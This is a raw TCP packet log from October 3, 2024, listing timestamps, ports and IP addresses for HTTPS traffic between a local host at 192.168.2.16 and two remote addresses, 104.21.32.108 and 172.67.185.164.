Oct 3, 2024 18:19:52.902089119 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.902120113 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.902143002 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.902205944 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.902260065 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.902292967 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.902303934 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.902331114 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.902354002 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.981391907 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:52.981632948 CEST	49854	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:52.981669903 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:52.982387066 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:52.982661009 CEST	49854	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:52.982772112 CEST	49854	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:52.982804060 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:52.982930899 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:52.991835117 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.991898060 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.992073059 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.992132902 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.992186069 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.992186069 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.992594957 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.992654085 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.992691040 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.992755890 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.992794991 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.992804050 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.992813110 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.992834091 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.992870092 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.992885113 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.992891073 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.992908001 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.992943048 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.992968082 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.993076086 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.993119001 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.993148088 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.993160963 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.993190050 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.993211031 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.993861914 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.993918896 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.993942022 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.993953943 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.993993998 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.994014025 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.994061947 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.994110107 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.994138956 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.994149923 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.994177103 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.994199991 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.994281054 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.994323969 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.994350910 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.994362116 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.994409084 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.994434118 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.994508028 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.994563103 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.994580030 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.994591951 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.994621038 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.994641066 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.027040958 CEST	49854	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:53.078912973 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.078979969 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.079158068 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.079185963 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.079185963 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.079250097 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.079309940 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.079333067 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.079617977 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.079663992 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.079771042 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.079771042 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.079834938 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.079988003 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.080035925 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.080168009 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.080168009 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.080231905 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.080326080 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.080364943 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.080518007 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.080518961 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.080584049 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.080960989 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.081084013 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.081103086 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.081119061 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.081155062 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.081347942 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.081387997 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.081415892 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.081429005 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.081459999 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.081558943 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.081604958 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.081624031 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.081635952 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.081669092 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.123167038 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.133661032 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.133789062 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.133852005 CEST	49854	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:53.133882046 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.133970022 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.134023905 CEST	49854	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:53.134040117 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.134130001 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.134181976 CEST	49854	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:53.134196043 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.134289980 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.134345055 CEST	49854	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:53.134357929 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.134448051 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.134502888 CEST	49854	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:53.134515047 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.139446974 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.139520884 CEST	49854	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:53.139533997 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.165802002 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.165858984 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.166022062 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.166023016 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.166088104 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.166124105 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.166167021 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.166186094 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.166186094 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.166357040 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.166395903 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.166429043 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.166429996 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.166496038 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.166552067 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.166552067 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.167376995 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.167475939 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.167503119 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.167570114 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.167610884 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.167634010 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.167650938 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.167704105 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.167730093 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.167748928 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.167783022 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.167804956 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.167903900 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.167944908 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.167974949 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.167987108 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.168015957 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.168034077 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.168087006 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.168128967 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.168153048 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.168163061 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.168194056 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.168210983 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.168277979 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.168335915 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.168356895 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.168366909 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.168399096 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.168420076 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.187046051 CEST	49854	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:53.220462084 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.220685959 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.220747948 CEST	49854	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:53.220762968 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.220855951 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.220906973 CEST	49854	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:53.220921040 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.221016884 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.221067905 CEST	49854	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:53.221081018 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.221193075 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.221244097 CEST	49854	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:53.221256971 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.221349955 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.221401930 CEST	49854	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:53.221414089 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.221568108 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.221640110 CEST	49854	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:53.221700907 CEST	49854	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:53.221731901 CEST	443	49854	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.252794027 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.252867937 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.252939939 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.253007889 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.253041983 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.253046036 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.253072023 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.253082991 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.253113031 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.253120899 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.253139019 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.253154039 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.253191948 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.253215075 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.253309011 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.253350973 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.253376961 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.253387928 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.253427982 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.253427982 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.254009008 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.254056931 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.254098892 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.254110098 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.254143953 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.254163980 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.254517078 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.254565001 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.254599094 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.254610062 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.254636049 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.254677057 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.254740953 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.254787922 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.254818916 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.254829884 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.254856110 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.254877090 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.255444050 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.255495071 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.255537987 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.255548954 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.255577087 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.255597115 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.255655050 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.255697966 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.255728960 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.255738974 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.255786896 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.255786896 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.302743912 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:53.302830935 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.302923918 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:53.303214073 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:53.303248882 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.339376926 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.339421988 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.339644909 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.339644909 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.339709044 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.339745998 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.339776039 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.339776993 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.339790106 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.339799881 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.339848995 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.340143919 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.340172052 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.340337992 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.340338945 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.340403080 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.340518951 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.340652943 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.340677977 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.340723038 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.340737104 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.340773106 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.340791941 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.341296911 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.341316938 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.341387033 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.341399908 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.341459036 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.341722012 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.341746092 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.341797113 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.341809034 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.341836929 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.341873884 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.342317104 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.342336893 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.342385054 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.342396975 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.342423916 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.342458010 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.342729092 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.342756033 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.342804909 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.342814922 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.342842102 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.342881918 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.367109060 CEST	49856	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:53.367194891 CEST	443	49856	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.367305994 CEST	49856	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:53.367487907 CEST	49856	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:53.367511988 CEST	443	49856	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.427165985 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.427233934 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.427284002 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.427347898 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.427412987 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.427412987 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.427438974 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.427473068 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.427501917 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.427524090 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.427534103 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.427556992 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.427596092 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.427618980 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.427741051 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.427782059 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.427817106 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.427830935 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.427859068 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.427882910 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.427941084 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.427989960 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.428025007 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.428035975 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.428065062 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.428081989 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.431906939 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.431935072 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.431996107 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.432061911 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.432136059 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.432136059 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.432198048 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.432219028 CEST	443	49852	104.21.32.108	192.168.2.16
